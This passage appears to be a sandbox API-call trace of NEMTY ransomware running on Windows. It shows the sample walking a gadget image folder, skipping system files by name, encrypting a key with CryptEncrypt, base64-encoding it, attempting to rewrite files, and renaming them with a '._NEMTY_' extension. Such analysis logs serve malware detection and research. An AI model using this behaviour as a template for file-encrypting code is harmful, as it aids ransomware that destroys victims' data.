hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.022] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402b0 [0141.022] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402b0, pcchString=0x653e91c | out: pszString="ANVxgl494Ria5/yiELxNoSJP6lxdIibfLTHjf1fe56JlK0TT8NHe1Rlav/xEdOpe\r\nsdaOn1AENa2tye4iTOUaZNFXnvrrHL1LPWkmRSpaROsoBFL5ARYFXh6YbVmYfgcd\r\nFLErtfX2YHoH0G0VQ0EtZuuk/ZqF4kDxSko5nVlpWOqp9/Nk4PORnVyjgw5Jdp5C\r\nJfEJZeeiVWGHMyOATE6aEqe0zTVTfjVaFT7BN4jvIeSQW9upJ8RInY4HJLoBjHFO\r\nqapXXGLPr1lHwOfqAQCoyv9zFucXNayxAvbYZK2F4jXPRAbsoSspBZV3PyxsWL5t\r\nbSXBEsaRkueghbCdJed1IQ==\r\n", pcchString=0x653e91c) returned 1 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402b0 | out: hHeap=0x4f90000) returned 1 [0141.022] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402b0 [0141.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.022] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.023] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.023] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.023] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.088] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.088] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.088] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402b0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.128] CloseHandle (hObject=0xffffffff) returned 0 [0141.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340420 [0141.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.128] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404f8 [0141.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png._nemty_kgobjgd_")) returned 0 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340420 | out: hHeap=0x4f90000) returned 1 [0141.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402b0 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.129] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d47b59, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84d47b59, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc0245f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="..") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="...") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="windows") returned -1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="$RECYCLE.BIN") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="rsa") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="NTDETECT.COM") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="ntldr") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="MSDOS.SYS") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="IO.SYS") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="boot.ini") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="boot.ini") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="ntuser.dat") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="desktop.ini") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="CONFIG.SYS") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="RECYCLER") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="BOOTSECT.BAK") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="bootmgr") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="programdata") returned 1 [0141.129] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="appdata") returned 1 [0141.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0141.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0141.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0141.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0141.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0141.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0141.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0141.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0141.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0141.130] Sleep (dwMilliseconds=0x5) [0141.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7c47c50, dwHighDateTime=0x1d561e8)) [0141.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x7c47c50, dwHighDateTime=0x1d561e8)) [0141.131] GetLastError () returned 0x5 [0141.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.131] GetLastError () returned 0x5 [0141.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.131] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.132] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0141.132] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="aSvYBw70juG2ulUKRTMDew5XKjaII4dY4z0T+hxzRXTwkFdZfQ7PFem0BgFDxn/w\r\nacspMnlfX1lXF0Gj1XpDbhiGqYrJLWqMqwLLaOX3lNn7B4qnERJK0QLci6hja9mu\r\nirq+bhg7xKnKEMr9L5g7ONl8R/D1cUlPTIdIEnvWoHnBxtmj6zXNtLKvBb+Ipivf\r\nein9r1OkK0yl4kKo6K7Zyq0YfSlYogOB0Qr1Tr1Vqj+hTCOvqC+qqalmc/lzp+MJ\r\na/NXBvipMWktrjDiRr3YlhTRC7EsnIcEya/0vsMDmT04auFyT+6GUQRLXnyZ0w5Y\r\nIdvN2KncYInrctR11UF3Cg==\r\n", pcchString=0x653e91c) returned 1 [0141.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0141.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0141.132] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.132] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.132] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.132] RtlAllocateHeap (HeapHandle=0x4f90000, 